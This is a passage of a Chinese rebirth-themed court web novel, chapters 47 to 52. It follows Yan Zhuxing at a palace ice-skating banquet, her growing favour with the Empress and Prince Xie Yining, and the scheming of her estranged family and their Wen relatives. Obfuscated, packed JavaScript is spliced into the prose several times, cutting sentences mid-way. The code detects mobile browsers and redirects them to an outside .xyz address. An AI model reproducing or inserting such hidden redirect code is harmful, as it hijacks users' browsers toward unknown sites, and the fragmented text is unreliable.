等下一次她做好万全的准备,一定不会输给晏逐星。 但看到母亲严厉的目光,她还是老老实实地点了点头。 等她康复了再说。 到时候,她一定要晏逐星付出代价。 她不想听母亲继续说晏逐星的事情,于是转移了话题,问出了自己最关心的问题:“娘亲,我当真要嫁给威宁侯做平妻么?” “此事还得再议。”说到这个,温如霜也很烦躁。 威宁侯夫人钱氏撞柱后,两家的梁子就彻底结下了。 别说结亲,不结仇就不错了。 可若是不让女儿嫁去威宁侯府,她这脸能不能恢复还不确定。 万一到时候真的毁容了,再加上落水一事,恐怕一辈子都嫁不出去,最后只能绞了头发当姑子去。 * 定远侯府的闹剧都被衔蝉整理成信,传回了永安王府。 停云忍不住嘀咕:“这晏二小姐也太可怜了,豆蔻年华就毁了容,还要被迫嫁给一个比自己大二十岁的老男人。” 谢翊宁斜睨了他一眼:“若不是她心术不正想要先害别人,又怎么会自作自受。” 停云有些迟疑地点了点头:“话是这么说没错,但晏大小姐的手段会不会太狠辣了些?” 谢翊宁有些嫌弃地看了他一眼。 “她这是聪慧,能够以小博大。若她身居高位,有权有势,对付这种腌臜货色直接拖去乱葬岗便是,何需费这些周章,耽误时间。” 停云:…… 他就不该说这个话。 在王爷眼里,晏大小姐做什么都是对的。 恐怕哪日晏大小姐用刀子捅了人,他也会夸她捅出来的伤口漂亮。 终于,他还是忍不住发出了和皇后一样的疑惑。 “王爷,您是不是心悦于她,想要娶她当王妃呀?” 第47章 你竟然敢来 “胡说八道!这种话以后莫要再提。”谢翊宁皱眉呵斥。 “我与晏大小姐清清白白,从无私情,你这话若是传出去,知不知道会给她带来多少麻烦。” 停云挠了挠头:“可您总是护着她,难免让人想多嘛。” 谢翊宁认真思索起他的话,点了点头:“你说得有道理,这样下去难免会让人误会。到时候没人敢跟她提亲怎么办。” 停云:…… 他真想说王爷您多虑了。 就晏大小姐现在的名声,谁会跟她提亲啊。 谢翊宁眼前一亮:“不如让父皇赐她为郡主吧,这样的话,就算我不出面,也没人敢欺负她了。” 停云无语凝噎:“……您当郡主之位是白菜饺子呢,随便就赏一个出去。” “这倒也是。得想办法让她立个功,到时候父皇就可以名正言顺地封赏她了。”谢翊宁考虑得十分周全。 停云叹气。 行吧,不管说什么,王爷总归是要护着晏大小姐就对了。 “你叹什么气啊。”谢翊宁拍了拍他的肩膀,笑得肆意张扬。 “放心吧,我绝对不会厚此薄彼的。在我死之前,我会把你们都安顿好的。” 屋内的氛围陡然变得悲伤了起来。 停云抿唇道:“王爷洪福齐天,才不会死。” “不会死的是老王八。”谢翊宁嗤笑一声。 “行了,不说这些了,照夜那边有没有新消息传回来。” 提起正事,他脸色顿时变得凝重。 他将上辈子近期会发生的大事都写了下来,派人去一件一件去验证。 若是准确了,他得告知父皇早做防范。 “约莫就这几日了。”停云估算着时间给了一个回答。 随后,他又想起了一个事,赶忙道:“对了王爷,那明日的冰嬉宴,您还去么?” “不去了,每年都是那些把戏,看倦了。”谢翊宁拒绝了。 北风吹来,廊下的灯笼随风摇曳。 月落日升,窗外已换了天地。 冰嬉宴正式开宴。 今年的宴会格外热闹。 虽然定远侯府和威宁侯府都无人来参加这次宴会,但关于他们的话题却是从未断过。 “你们说,威宁侯夫人会妥协么?” “不知道。反正是我我宁可和离。跟一个和自己女儿差不多大的人姐妹相称,我可做不到。” “和离不就是给人家让位置么,我可不愿意。要么当妾,平妻想都别想。” “但那可是定远侯府的二小姐啊。一个嫡女做妾,这怎么可能。” 话题转移到了定远侯府上。 礼部尚书的夫人陈氏忍不住开口:“你们说定远侯府是不是招惹了什么不干净的东西,不然怎么会那么倒霉。” “那还用说,他们府里全是脏东西。所以遭了这些劫难,都是报应。”卫国公夫人窦淑容一脸嫌弃地开口。 众人露出疑惑的表情。 定远侯府什么时候惹了卫国公夫人? “马上就过年了,有些人还是给自己积点口德吧。”烈国公夫人赵玉润冷哼一声。 “赵玉润,你说谁不积口德呢。”窦淑容立刻望了过来。 “人家定远侯府可没招惹你,这般诛心之言也说得出口?”赵玉润丝毫不怵她。 “你和定远侯府什么关系,不会真像传言说的那样,你儿子占了晏逐星那野丫头的便宜,所以你心虚想要替她说话吧。”窦淑容眉毛一挑,露出一副尖酸刻薄的表情。 “口口声声说世子爷占我便宜,卫国公夫人可是有证据?” 未见其人,先闻其声。 众人看了过去。 廊下锦帘微动,檀木轮椅碾过青砖的吱呀声刺破满室私语。 轮椅上的晏逐星勾着唇角,直直地看向窦淑容。 众人都有些尴尬,没想到在背地里嚼人舌根正主听到了。 而窦淑容直接伸手指着她,不可思议道:“你竟然敢来?!” 她的火气“噌”一下就冒了出来。 自打公婆和夫君去世后,卫国公府如今只剩她独掌大权,人人都要敬她三分 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15545113|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 唯一一次受气,就是在晏逐星那里。 她明明已经和定远侯夫人强调过,有她的宴会晏逐星不许出现,今日温如霜怎么还让这野丫头入宫了。 “当朝文武百官,官居四品及以上的官员均可携女眷参加冰嬉宴,我父乃定远侯,我出现在此有何不可?”晏逐星晏逐星指尖漫不经心拨着腕间伽南香珠。 这是皇后娘娘赏的。 她今日来,也是为了皇后娘娘。 晏逐星越淡定窦淑容就越愤怒。 她无法理解她一个不知来历的野种,怎么敢这样强硬顶撞她的。 她的怒火被晏逐星的笑容点得愈发旺盛,她失了理智怒吼:“本夫人说过,有我的地方没你,你现在就滚!” “你当这是你卫国公府的后宅呢,你有什么资格让星儿滚。”赵玉润也来气了。 “还有,你给我说清楚,什么叫我儿占了星儿的便宜。今日不掰扯清楚,我们就请皇后娘娘做主。” 她不忍了。 窦淑容不就仗着在场的**多都没她品级高,没她家世显赫所以才这般张狂么。 她和她同样是一品诰命夫人,她倒是要看看,窦淑容能把她怎么着。 * 永安王府里。 谢翊宁正躺在躺椅上,一手给趴在自己身上的白猫顺**,一手捧着书闲看着,好不快活。 忽然见停云急匆匆地走了进来。 “王爷,晏大小姐去了冰嬉宴,卫国公夫人要赶她出宴会。” “备马,入宫。”谢翊宁毫不犹豫地起身,将猫儿交给了下人,迅速披上大氅就要出门。 停云:…… 说好的冰嬉宴无聊不去呢! 他就知道,一提晏大小姐王爷就会改主意。 他认命地去将马儿牵来,跟着王爷一块入了宫。 谢翊宁抵达冰嬉宴时,晏逐星已经不见了身影。 和她起争执的卫国公夫人也不在。 他心头咯噔一跳。 不会吧,他只是晚来一步,他的小救命恩人就被赶走了吗? 第48章 抱上大腿了 一刻钟前。 卫国公夫人窦淑容和烈国公夫人赵玉润起了争执。 在场的贵夫人们试图想要劝解,但这两人谁也不让谁。 就在场面僵持不下之际。 皇后身边的吴嬷嬷来了,她笑眯眯地将手里的暖炉塞给了晏逐星。 “姑娘,天寒地冻的,您来了怎么也不遣人同老奴说一声。皇后娘娘正等着您呢。” 这亲昵的语气和态度,让在场所有人一怔。 尤其是窦淑容,那个表情几乎跟见鬼了一样。 皇后娘娘为何待这个野丫头这么亲厚? “是我的错,让皇后娘娘久等了。”她柔声回应吴嬷嬷,而后看向了烈国公夫人。 “干娘,皇后娘娘寻我,我先过去了。待会冰嬉宴结束了,咱们一块回去吧,我给您和哥哥都带了东西,在马车上呢。” “好。干娘等你!”烈国公夫人笑了起来,眉眼间满是欣慰。 “嬷嬷,咱们走吧。”晏逐星轻轻拍了拍轮椅的把手。 身后的衔蝉会意,推着她跟上了吴嬷嬷。 她一走,便有夫人忍不住问烈国公夫人,她和晏逐星是什么关系,为何晏逐星要称呼她为干娘。 “上回威宁侯府做客,这孩子投了我的眼缘。我见她懂事乖巧,行事进退有度,心生欢喜,便和夫君商议后打算将她认作义女。只是近来有事耽搁了,认亲宴还没办上。打算等年后,再邀诸位一同来乐呵乐呵。” 烈国公夫人说着眼尾的笑纹深了几许,显然对晏逐星十分满意。 众人落在窦淑容身上的目光就变得微妙了许多。 皇后和烈国公夫人都对定远侯府大小姐另眼相待,怎么就她一个人厌恶人家呢。 窦淑容听到这话,头发都要气得倒竖起来了。 性子乖巧懂事?行事进退有度? 这哪个词和晏逐星有关系。 但她也意识到了,不能继续大发脾气,不然今日沦为笑柄的就是她了。 但她面对众人那些打探的目光,依旧如坐针毡。 她狠狠掐了自己一把,扫了一眼弟妹阮氏。 “二弟妹,我有些头晕。” 阮氏忙道:“那咱们赶紧回府吧。” 她立刻示意丫鬟搀扶窦淑容,随后去给皇后娘娘知会一声,得了许可后,急匆匆地离开了宴会现场。 因而这会谢翊宁赶到时,晏逐星和卫国公夫人都不在场了。 “王爷,皇后娘娘有请。”就在他四下张望时,皇后身边的大宫女云黛走了过来。 谢翊宁略一思索,冲着停云压低声音道:“你打听打听她去了哪里。” 虽然没有明说。 但二人心知肚明,他说的是谁。 “是。”停云认命应下。 谢翊宁跟着云黛走了。 刚准备行礼,他就看到了坐在母后身旁的人。 晏逐星端坐在轮椅上,指尖还捏着半块芙蓉酥,腮帮子微微鼓起,模样有些像他养在王府里的那只猫儿。 皇后看了一眼晏逐星,而后揶揄地看向怔住的儿子:“石头,你不是说这宴会每年都是那些把戏,看倦了,不来了么。” 听到这话晏逐星眼睛倏地睁圆,手中的芙蓉酥瞬间被捏掉了一块碎渣。 她赶忙收回视线。 什么,永安王竟然有这么一个朴实无华的小名。 不知道为什么,这个小名被她听到,谢翊宁莫名有些羞耻,耳根微微有些发红。 皇后露出了然的神情。 知子莫若母。 石头肯定喜欢定远侯府的这位大姑娘,只是他自己还不知道罢了。 她可没见过石头什么时候对姑娘这么上心。 “这不是想着进来陪陪您么。”谢翊宁见她安然无恙地陪在母后身边,知晓应该没吃什么亏,心里的石头总算落了地。 “陪我还是陪别人?”皇后继续打趣他。 “您若不想看见儿子,我走就是了。反正也确实没什么好玩的。”谢翊宁说完转身就走。 动作那叫一个干脆利落,丝毫没有留恋。 皇后被他的举动给噎住了。 这死孩子,不就是调侃了两句么,怎么这么不禁逗呀。 她倒也没有派人去追,只是扭头温和地看向了晏逐星。 “晏家丫头,先前听到本宫唤永安王石头,你是不是很惊讶啊?” “是有一些。”晏逐星不好意思地点了点头。 皇后叹了一口气:“没办法,国师断言石头活不过及冠之年,本宫只能效仿民间百姓,他取一个好养 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15553461|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 活的名字。只盼他能熬过这一劫。” 晏逐星猛地想起上一世谢翊宁是和她一块死在了战场上。 那个时候的他,满二十岁了么? 按照帝后对他疼爱的程度,怎么会让他去战场呢。 她来不及细想,只得温声安慰皇后:“我曾听旁人说过,王爷十五岁春猎时,和黑熊搏斗得虎口撕裂见了骨都没放弃,最后成功猎杀了那头熊。可见王爷心志之坚定。” “王爷当年能从黑熊掌下逃出生天,以后自然也能从国师的卦象里挣出一条生路来。” 说着她摊开了双手。 “再说了,陛下掌着山河龙气,娘娘攥着万民福泽,有你们在……” 先前打开的手“啪”一声合上。 “便是阎罗派来索命的黑白无常,也休想将王爷从您二人手中抢走。” 晏逐星的语气愈发坚定:“娘娘要相信王爷,也要相信陛下和您自己。” 皇后用帕子压了压发红的眼尾,眉眼却弯成月牙。 她又惊又喜地盯着晏逐星,忍不住在心底感慨:小石头的眼光可真好。 中意的竟然是这样一个聪慧伶俐又善解人意的好姑娘。 她不怕儿媳妇有心眼子,就怕儿媳妇是蠢人。 她看晏逐星真是越看越满意。 她笑着点头:“你说得对。石头这么优秀,一定会长命百岁的。” 见皇后娘娘笑容灿烂,晏逐星心底长长地舒了一口气。 意识到谢翊宁也是重生的之后,她便派人仔细打听了他过往所有大大小小的事情。 虽然不知道什么时候会有用,但有备无患。 瞧,这不就用上了么。 “本宫与你颇为投缘,这翡翠缠丝镯便赏你了。”皇后将手上的镯子褪下,亲自替她戴上。 “多谢皇后娘娘恩典。”晏逐星赶忙道谢。 她今日入宫,为的就是抱紧皇后娘娘的大腿,日后好继续扯这张虎皮当大旗。 如今的情况比她预计的还要圆满,她十分满意,终于有闲工夫来看那些宴会上的表演了。 她坐在皇后下首的位置,惹来了无数妒忌的目光。 “不过是一个来路不明的野丫头,怎就惹得母后这般喜爱?”一个不甘的声音响起。 第49章 她倒是聪明 “可不么。听说母后之前还想让她教十妹妹在冰嬉宴上跳破阵舞。这人都多少年没出现在宴会上了,看着也不像会跳舞的样子呀。若是真让十妹妹跟她学了,今日恐怕就要出糗了。”五公主谢娇哼了一声。 先前开口挑拨的六公主谢妙点了点头,她瞥了一眼十公主:“十妹妹。听说母后赏赐了定远侯府大小姐好几回,如今还要经常召她入宫作伴。到时候,你不会失宠吧。” 满后宫皆知,父皇最爱的就是皇后娘娘。 谁若讨好了皇后娘娘,得了皇后娘娘的青眼,就能得道升天。 连同他们的母妃也能得到父皇的几分和颜悦色。 十公主谢媞的生母夏昭仪,不就是因为和皇后娘娘关系好,因此父皇每个月总会抽出两三天时间去她宫里坐坐。 不像其他人,有时候几个月都见不着父皇一次。 她们费尽心机讨皇后娘娘喜欢,但皇后娘娘始终淡然处之。 谁知她这一回却偏偏对一个侯府之女另眼相待。 怎能让她们不嫉妒。 十公主谢媞见火烧到了自己身上,笑嘻嘻道:“皇后娘娘可疼我了,才不会不喜欢我呢。对了,五姐姐,六姐姐,快到我献艺的时候了,我先走了。” 说完她脚底抹油,直接开溜。 她才不想和他们说这些无聊的话。 到时候传出去,还不知道会变成什么样呢。 母妃说了,在后宫当中一定要管好自己的嘴巴,谨言慎行。 想要以后过得好,皇后娘娘的恩宠少不了。 说句大逆不道的,就算日后父皇不在了,皇后娘娘也能当上太后,她和母妃的荣华富贵全都系在皇后娘娘的身上。 她才不会犯傻得罪皇后娘娘呢。 见她溜得飞快,谢娇和谢妙都变了脸色。 “她倒是聪明。”谢娇冷笑一声。 原想着挑拨一下谢媞,让她出手去对付晏逐星,好让皇后娘娘厌恶谢媞,她们趁虚而入。 没想到她走得那么快。 “五姐姐,那怎么之后咱们该怎么做啊。”谢妙看向了谢娇。 她向来为谢娇马首是瞻,指哪打哪。 谁让她的生母只是一个微不足道的小宫女呢。 她出生的日子和五公主谢娇只差了半个月,生母生下她时难产而亡,皇后便命人将她送去了五公主生母苏昭仪那里,一块让乳母抚养照料。 后来两人一块长大,干脆就将她也记到了苏昭仪名下。 她知道自己不是亲生的,只能拼命讨好谢娇和苏昭仪,就怕被赶走不管。 谢娇将手里的瓜子壳一扔:“不急,先看看。说不定到时候可以借着定远侯府那位的手除掉夏昭仪。” 老十鬼灵精,明明比他们都小好几岁,可每次他们怎么挑拨她都不上当。 她若犯了错,她的生母夏昭仪也要受牵连,到时候才有她母妃的出头之日。 * 冰嬉宴有惊无险地结束了。 晏逐星被皇后娘娘命人送出宫。 烈国公夫人早就牵着儿子的手在宫门口等她了。 “妹妹,妹妹!”尉迟敦看到晏逐星,立刻露出个灿烂的笑飞奔向她。 “哥哥,慢些,莫摔了。”晏逐星赶忙抬手示意他走慢些。 “给,妹妹。”尉迟敦急忙将藏在怀里的东西掏了出来。 帕子一打开,里边包的是碎了的芙蓉酥。 “好吃,妹妹吃。”他将帕子递到晏逐星面前,眼里亮晶晶的,充满了期待。 快步跟着走过来的烈国公夫人瞧见这一幕,鼻腔有些发酸。 敦儿还记得晞儿最爱吃芙蓉酥了呀。 只是这孩子悄悄将芙蓉酥揣怀里全弄碎了。 蜜馅混着酥油凝成黄白相间的糊状,碎渣泛着冷掉的油光,看着实在有些恶心,叫人怎么吃呀。 她正欲阻止,就看到晏逐星笑眯眯地捻起一小块芙蓉酥尝了一口。 “太好吃啦,谢谢哥哥。” “嘿嘿嘿,妹妹喜欢就好。”尉迟敦咧开嘴,笑得牙齿都露了出来。 “我也有东西要给哥哥。”晏逐星命衔蝉上马车将之前准备好的东西拿了出来。 “布老虎!”尉迟敦眼前一亮。 “对呀,哥哥喜欢吗?”晏逐星将这个约莫齐腰高的布老虎塞到了他怀里。 “喜欢。”尉迟敦重重点头,他还没见过那么大的布老虎呢。 虎须扫得他下巴痒梭梭的,尉迟敦重重点头,咧嘴一笑:“喜欢,特别喜欢。” 他将脑袋埋在布老虎身上,深深嗅了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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这个义女,真的是认对了。 她温声嘱咐了晏逐星几句,让她遇上什么事记得来国公府找她,方才带着儿子离开。 不远处撑着伞的晏明远看着这一幕,心里又酸又涩。 曾经那个满眼是他的妹妹,被他弄丢了。 衔蝉瞧见他,压低声音道:“小姐,是大少爷。” 晏逐星看了过去,正好和晏明远四目相对。 和她对视,晏明远下意识地收拢了手,握着伞柄的指节泛起青白,心脏扑通扑通直跳。 星儿,会叫住他么。 第50章 知道真相了 晏逐星冷漠地放下了车帘,吩咐道:“回府吧。” 晏明远可真是够贱的。 上辈子她眼巴巴讨好他们全家,他们却对她弃如敝履,还帮着晏明月一块羞辱她。 这一世,倒是想和她演兄妹情深了? 她才不稀罕呢。 上回演那一出戏,不过是为了挑拨他们的关系罢了。 晏明远提议将她骨灰卖给太傅孙子配冥婚的事情她可没忘呢,这个仇,她一定要报。 晏明远没想到她竟然就这样走了。 父亲先一步回了侯府,他担心只有两个丫鬟和一个马夫跟着她,没办法将她抬上马车,便想着带下人来接她。 谁曾想,她竟然将他当做陌路人一般视而不见。 “少爷,大小姐他们已经走远了。”竹安有些忐忑地提醒傻愣愣站在原地的自家少爷。 “罢了。先回府吧。”晏明远叹了一口气。 冰冻三尺非一日之寒。 他冷落了星儿快五年,她心里对他有怨也是正常的。 好在他及时醒悟,想来之后他们兄妹二人会重修旧好。 * 晏明月得知晏逐星跟着父亲入宫参加了冰嬉宴,在家发了好大一通脾气。 她如今容貌尽毁,只能在家躲起来,晏逐星竟然还大摇大摆地去参加宴会。 她怎能不气。 她将头上的帷帽扯了下来,重重砸到地上,气不过,还踩了两脚。 晏明远掀帘进来时正撞见这一幕。 他弯腰拾起帷帽,叹着气递到她跟前:“好妹妹,别气了。前日陈太医怎么说的。心火愈旺,脸上这疤……” 他瞥见晏明月骤然攥紧的拳头,后半句在舌尖转了个弯,“你这身子,怕康复起来就更慢了。” “大哥,你也觉得我脸上这疤不会消了是不是?”晏明月“哇”一声哭了出来。 “怎么会。你这瞧瞧,涂了两日玉肌膏,这疤痕都淡了许多。”晏明远将铜镜递到她面前。 晏明月下意识地躲开,随后还是耐不住好奇心,接了过来,对镜打量。 “真的变淡了吗?”她不确定地询问。 “当然。”晏明远重重点头。 “没错没错,奴婢瞧着,过完年,这些疤痕就会彻底消失了。”一旁的芙儿跟着附和。 晏明月半信半疑,放下铜镜止住了眼泪。 她这才瞧见晏明远身上披着的大氅落了雪。 她狐疑地皱眉:“大哥出府了?” 晏明远点头。 “你出府去哪了?”她眉头皱得紧紧的。 晏明远思索着要不要说实话,就看到晏明修气冲冲地闯了进来。 “大哥,你怎么还去接晏逐星那个祸害,你没看到明月被她害得多惨吗。” 晏明月的脸“歘”一下变白了,随后又涨得通红,她泪意盈盈地看着晏明远,似是有无尽的委屈。 晏明远皱眉看向晏明修。 “二弟,星儿也是我们的妹妹。她腿脚不便,身边又没护卫,我身为兄长,去接她有何不可。” “我不认她是我妹妹,我妹妹只有明月一个。”晏明修毫不客气地回答。 晏明远只觉得十分疲惫。 他不明白最初把明月接回来的时候,不是想着以后他们就有两个妹妹了吗。 为什么非要闹到如今这样势同水火,你死我活的地步。 “还有,你忘了上回她动手打我们的事情了吗?”晏明修依旧耿耿于怀。 “我倒是宁愿她再打我一次,只要她能消气就好。”晏明远自嘲一笑。 今日见到她对尉迟敦的态度。 才知道自己错过了什么。 如今她已经不把他当大哥,只把他当成侯府大少爷了。 晏明修听到这话,露出错愕的表情:“大哥,你疯了吗?” 难不成玄空寺有邪祟。 怎么一个个的,去了玄空寺回来,人就不对劲了。 “我最后说一次,明月的伤与星儿无关。”晏明远盯着二弟,随后扭头看向晏明月。 “软舆和轿夫是你派人找的,对吧?” 他尾音微微上扬,话语里暗藏的机锋让晏明月背后猛地冒出冷汗。 他知道真相了! “大哥说得对,我和姐姐都是晏家的女儿,我们都是你们的妹妹。二哥,你莫要再这么说了,姐姐会伤心的。”她当机立断抓住了晏明修的手。 晏明远见她表态,愿意和晏逐星和平共处,松了一口气。 他不想再看到两个妹妹自相 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15558028|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 残杀了。 明月之所以会做出那样的事情,也只是担心她失踪了那么多年,星儿取代她的位置罢了。 如今她已经受到了惩罚,愿意改过来的话,也没必要继续深究。 “你呀,就是这么善良,才会被晏逐星欺负。”晏明修听她这么说,愈发心疼她了。 “好了二哥,你别说了。”晏明月怕晏明远将她做的蠢事说出来,赶紧阻止晏明修继续说下去。 父亲和大哥都抓不住了,她要牢牢抓住二哥。 不能让他们都偏向晏逐星那个**。 “我饿了,想吃鸡丝小馄饨。”晏明月急忙转移话题。 “好,我这就命人做了给你送来。”晏明修摸了摸她的脑袋。 “大哥,二哥,你们陪我一起吃一些吧?我一个人吃饭,总觉得没胃口。”晏明月露出了讨好的笑。 晏明修看不得她这做小伏低的样子,心疼不已。 “好,我们陪你一块吃。”他毫不犹豫地答应。 “记得给星儿也送一份去。”晏明远吩咐。 晏明修想爆发,但晏明月扯了扯他的袖子,露出哀求的神情,他只得冷哼一声,不情不愿道:“知道了。” 不多时,一大碗热腾腾的鸡丝小馄饨便送去了玉澜院。 晏逐星让衔蝉验了无毒后,直接赏给了他们几人分食。 晏明修得知自己送去的馄饨被丫鬟吃了,气得跳脚:“我就说了她不会领情吧,大哥你偏不信。” “行了。送是我们的心意,至于吃不吃,随她意。”晏明远比从前多了许多耐心。 “疯了,我看你真是疯了。”晏明修怒气冲冲地离开。 兄弟两人不欢而散。 晏明月将此事告知了母亲,温如霜气得牙齿都快咬碎了。 晏逐星竟然挑拨得她的两个儿子差点反目。 着实可恨! 不行,她不能坐以待毙,她必须要反击,不能让晏逐星再继续得意下去。 否则,往后侯府哪里还有她这个当家主母说话的份。 不过在那之前,她得把明月送走才行。 明月留下,只会妨碍她的计划。 就在她发愁要把女儿送去何处养病时,一个绝佳的去处送上门来了。 第51章 没有说实话 “夫人,青州来人了!”李氏欣喜若狂地跑进来通报。 “谁来了?”温如霜激动地支起了上半身。 “是大夫人和韫少爷来了。”李氏得知青州温家来人,心里安慰了不少。 这些时日,侯爷从不踏足夫人的院子,总是歇在两位姨娘处。 那些下人惯会见风使舵的,见大小姐得势,侯爷又冷落了夫人,伺候起来也不如之前那般尽心尽力了。 有娘家人来撑腰,侯爷应该能待夫人好一些了吧。 “快,快将他们请过来。”温如霜得知大嫂姜清屏和大外甥温韫来了,激动得直掉眼泪。 李氏将人领了进来。 温韫一进门就解释:“小姑,收到侯府传信,父亲就让我陪着母亲一块来京城探病,没想到中途大雪封了路,我们如今才到。是我们来迟了。” “无妨,来了就好。”温如霜强忍着眼泪点头。 姜清屏从下人口中得知温如霜伤得这般严重,忍不住掏出帕子抹眼泪:“小妹,真是苦了你了。若你大哥瞧见你这样子,还不知道会心疼成什么样呢。” 温如霜听到这话眼泪啪嗒往下流。 大哥自小就疼爱她,若他知道是晏逐星那个野种害了她,定然不会像晏鸿升一般将此事糊弄过去。 “大嫂,是那个野丫头害的我,是她将我推下马车的!”虽然没有证据,但温如霜却坚信真凶就是晏逐星。 “什么?”姜清屏和温韫大吃一惊。 他们还不知道,温如霜已经和晏逐星结下了不共戴天之仇。 温如霜将发生的事情和自己的推测说了出来。 一旁的李氏有些心虚地摸了摸鼻尖。 夫人没有完全说实话啊。 那些苛待大小姐的举动,只用忽视了三个字一笔带过。反倒是那些不实的猜测夸大了许多。 而且还将二小姐落水失了清白一事给隐瞒,只说是大小姐害得二小姐毁了容貌。 姜清屏听完皱起了眉头:“这丫头竟然这般不知感恩?她本就不是你的亲生骨肉,你收留了她,她非但不感恩,竟然还妄想跟明月抢侯府嫡女的位置。简直荒唐。” 温韫也义愤填膺了起来。 “小姑,你当初就不该把她捡回来,让她死在大街上算了。” 温如霜叹了一口气:“说一千道一万也回不去当年了,我这身子也没有了康复的希望。如今,我只盼明月的脸能快快好起来。” 说到最后,她声音带上了哽咽。 她握住姜清屏的手,恳求道:“大嫂,过些时日,让明月跟你们回青州养伤吧。等伤好后,我就让侯爷接她回来。可好?” 姜清屏点头应下:“岂有拦着的道理。温家是明月的外祖家,与她血脉相连,她想回我们自该扫榻相迎。” 给女儿找好了去处,温如霜长长地吐了一口气。 回了青州,等女儿脸上的伤好之后,她便让母亲和大嫂在那边替她寻摸一个好人家。 以温家在青州的家世地位,明月嫁过去也无人敢看轻她。 虽然得知晏明月容貌受损,但夜里一同用膳亲眼看到那一刻,姜清屏和温韫还是吓了一跳。 晏明月咬唇不语,只是不安地低下了头。 姜清屏将眼里的惊诧收起,握着她的手露出了心疼的表情。 “天可怜见的,好端端一个国色天香的姑娘,怎么就被害成了这样。” “呜呜呜,大舅母,你可要替我做主啊。”晏明月顺杆子往上爬,她扑到了姜清屏怀里呜呜地哭了起来。 “好了好了,难得见你大舅母,哭哭啼啼像什么话。”定远侯有些不满地开口训斥。 女儿一来就让温家人给她做主。 做哪门子的主。 倒像是在说他这个当爹的没有替她讨回公道似的。 被他这么一训斥,晏明月立刻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15558029|170242||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 止住了哭声,怯生生地躲到了二哥身后。 这里毕竟是侯府,还是定远侯最大。 姜清屏和温韫不好多说什么,毕竟他管教的是自己的女儿。 姜清屏扫了一眼,没看到晏逐星,皱眉道:“星儿呢?” 定远侯淡淡道:“偶感风寒,怕过了病气给你们,便让她在院子里歇着了。” 昨日烈国公府又往玉澜院送了不少好东西。 他便知道这个烈国公夫妇是真的喜欢这个女儿。 再加上那日晏逐星还得了皇后赏赐的翡翠缠丝镯子,他便愈发器重这个女儿了。 说不定来日侯府的荣耀,还要寄托在这个女儿的身上。 因此今日她说染了风寒不想来一起用膳,他便也随她去了。 “我一来她就头疼脑热,真是巧了。我看不是染了风寒,而是我这个舅母面子不够大,请不来她陪同一块用膳吧。”姜清屏面色不悦。 “大舅母言重了,星儿不是那样的人,她真的身子不适,今日还请了大夫过门就医。”晏明远不疾不徐地开口。 见他也站出来替晏逐星辩解,姜清屏皱了皱眉,没再多说什么。 席间,她不轻不重地暗示了定远侯几句。 她的夫君马上要升官了,他要是怠慢了温如霜,温家可不会善罢甘休。 定远侯呵呵一笑,假装没听懂,只是说了好几声恭喜。 一顿接风宴,全是勾心斗角,吃得没滋没味的。 用过膳后,定远侯还是给了他们面子,当夜歇在了温如霜的院子里。 姜清屏则去了晏明月的院子里住下。 温韫被晏明修叫走,一整晚给他说了不少晏逐星的坏话。 说得温韫眉头紧锁。 这个晏逐星也太欺负人了。 翌日。 温韫主动找上了晏明月。 “明月表妹,你别伤心了。我和明修表弟一定会给你报仇的!” 第52章 给他送女人 “表哥,真的吗?”晏明月一脸期盼地看着她。 “当然。她一个捡来的野种,小姑和姑父给她口饭吃就不错了,她竟然还想取代你成为真正的侯府嫡女。”温韫一脸鄙夷。 他最讨厌这种鸠占鹊巢的人了。 就像父亲的表妹一样,住到家里来,竟然隐隐想要对他母亲的位置取而代之。 令人作呕。 “表哥,有你真好。”晏明月表现出一副单纯无害的模样。 “你若是不来,我真是不知道该怎么办了。爹爹和大哥都偏宠姐姐,二哥对我好一点,还要被大哥训斥。我真对不起二哥,让他受我牵连。” 说到最后,她眼眶都变红了。 